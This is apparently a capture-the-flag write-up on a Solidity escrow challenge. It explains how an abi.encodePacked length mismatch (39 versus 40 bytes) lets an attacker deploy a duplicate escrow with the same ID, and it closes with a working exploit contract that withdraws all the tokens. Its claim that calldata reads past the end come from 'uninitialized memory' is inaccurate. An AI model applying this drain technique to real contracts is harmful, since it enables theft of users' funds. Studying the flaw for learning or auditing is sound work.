2. Escrow

ABI encoding asymmetry

Codebase walkthrough

Setup Contract

The Setup.sol contract initializes the challenge by:

  1. Deploying a GREY token contract and minting 10,000 GREY to itself

  2. Creating an EscrowFactory

  3. Adding a DualAssetEscrow implementation to the factory

  4. Deploying an escrow with tokenX = GREY and tokenY = address(0) (ETH)

  5. Depositing all 10,000 GREY tokens into the escrow

  6. Renouncing ownership of the escrow by burning the NFT

EscrowFactory Contract

The factory uses a clone-with-immutable-args pattern and implements access control through ERC721 NFTs. Key mechanisms:

// Get the hash of the (implId, args) pair
bytes32 paramsHash = keccak256(abi.encodePacked(implId, args));

// If an escrow with the same (implId, args) pair exists, revert
if (deployedParams[paramsHash]) revert AlreadyDeployed();

// Mark the (implId, args) pair as deployed
deployedParams[paramsHash] = true;

The factory prevents deploying escrows with identical (implId, args) combinations by tracking their keccak256 hash.

DualAssetEscrow Contract

The escrow stores two assets (tokenX and tokenY) and uses a unique identifier system:

(address factory, address tokenX, address tokenY) = _getArgs();
escrowId = uint256(keccak256(abi.encodePacked(IDENTIFIER, factory, tokenX, tokenY)));

The escrowId is computed from a constant identifier and the three addresses. Only the owner (holder of the corresponding NFT) can deposit/withdraw funds.

Bug description

The core vulnerability lies in how the system handles parameter encoding versus decoding:

Encoding Stage (abi.encodePacked):

// Factory duplicate prevention
bytes32 paramsHash = keccak256(abi.encodePacked(implId, args));
if (deployedParams[paramsHash]) revert AlreadyDeployed();

Decoding Stage (calldataload):

function _getArgAddress(uint256 argOffset) internal pure returns (address arg) {
    uint256 offset = _getImmutableArgsOffset();
    assembly {
        arg := shr(0x60, calldataload(add(offset, argOffset)))
    }
}

The critical insight is that calldataload always reads exactly 32 bytes from memory starting at the given offset, regardless of whether enough calldata exists. When reading beyond the calldata boundary, it reads from uninitialized EVM memory, which defaults to zero.

Technical Exploitation Details

Original Escrow Parameters:

  • args = abi.encodePacked(address(grey), address(0))

  • Produces: [20 bytes grey][20 bytes zeros] = 40 bytes total

  • Factory hash: keccak256(abi.encodePacked(0, [40 bytes]))

Attack Escrow Parameters:

  • args = abi.encodePacked(address(grey), bytes19(0))

  • Produces: [20 bytes grey][19 bytes zeros] = 39 bytes total

  • Factory hash: keccak256(abi.encodePacked(0, [39 bytes]))

Why Factory Allows Both: The factory hashes are different because abi.encodePacked produces different byte sequences (40 vs 39 bytes), so the duplicate check passes.

Why Escrow IDs Are Identical: When the escrow calls _getArgAddress(40) to read tokenY:

  1. Original case (40 bytes total):

    • calldataload(40) reads bytes 40-71

    • Bytes 40-59: The actual 20 zero bytes from address(0)

    • Bytes 60-71: Additional calldata or memory

  2. Attack case (39 bytes total):

    • calldataload(40) reads bytes 40-71

    • Bytes 40-58: The actual 19 zero bytes from bytes19(0)

    • Byte 59: Beyond calldata boundary → reads from uninitialized memory (zero)

    • Bytes 60-71: Beyond calldata boundary → reads from uninitialized memory (zeros)

Both result in reading 20 bytes of zeros after the shr(0x60) operation, producing identical address(0) values and therefore identical escrow IDs:

(address factory, address tokenX, address tokenY) = _getArgs();
escrowId = uint256(keccak256(abi.encodePacked(IDENTIFIER, factory, tokenX, tokenY)));

EVM Memory Model Behavior

The EVM memory model has the following characteristics:

  1. calldataload(offset) always reads 32 bytes starting from offset

  2. No bounds checking: It doesn't validate that sufficient calldata exists

  3. Uninitialized memory defaults to zero: Reading beyond calldata typically returns zeros

  4. Memory expansion: EVM expands memory as needed and zero-initializes new regions

This creates the vulnerability because:

  • Encoding: bytes19(0) vs address(0) produce different byte sequences

  • Decoding: Both sequences decode to the same address(0) value due to EVM memory model

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;

import { Setup, DualAssetEscrow } from "src/escrow/Setup.sol";

contract Exploit {
    Setup setup;

    constructor(Setup _setup) {
        setup = _setup;
    }

    function solve() external {
        // Deploy escrow that has the same ID as the one to drain
        bytes19 zero_bytes = bytes19(abi.encodePacked(address(0)));
        (uint256 escrowId, ) = setup.factory().deployEscrow(
            0, // implId = 0
            abi.encodePacked(address(setup.grey()), zero_bytes) // tokenY = 19 bytes of 0x00 
        );
        
        // ID of this escrow and the one to drain is the same
        assert(escrowId == setup.escrowId());

        // Withdraw all GREY from the escrow to drain
        DualAssetEscrow escrow = DualAssetEscrow(setup.escrow());
        escrow.withdraw(true, 10_000e18);

        // Transfer all GREY to msg.sender
        setup.grey().transfer(msg.sender, 10_000e18);
    }
}

Last updated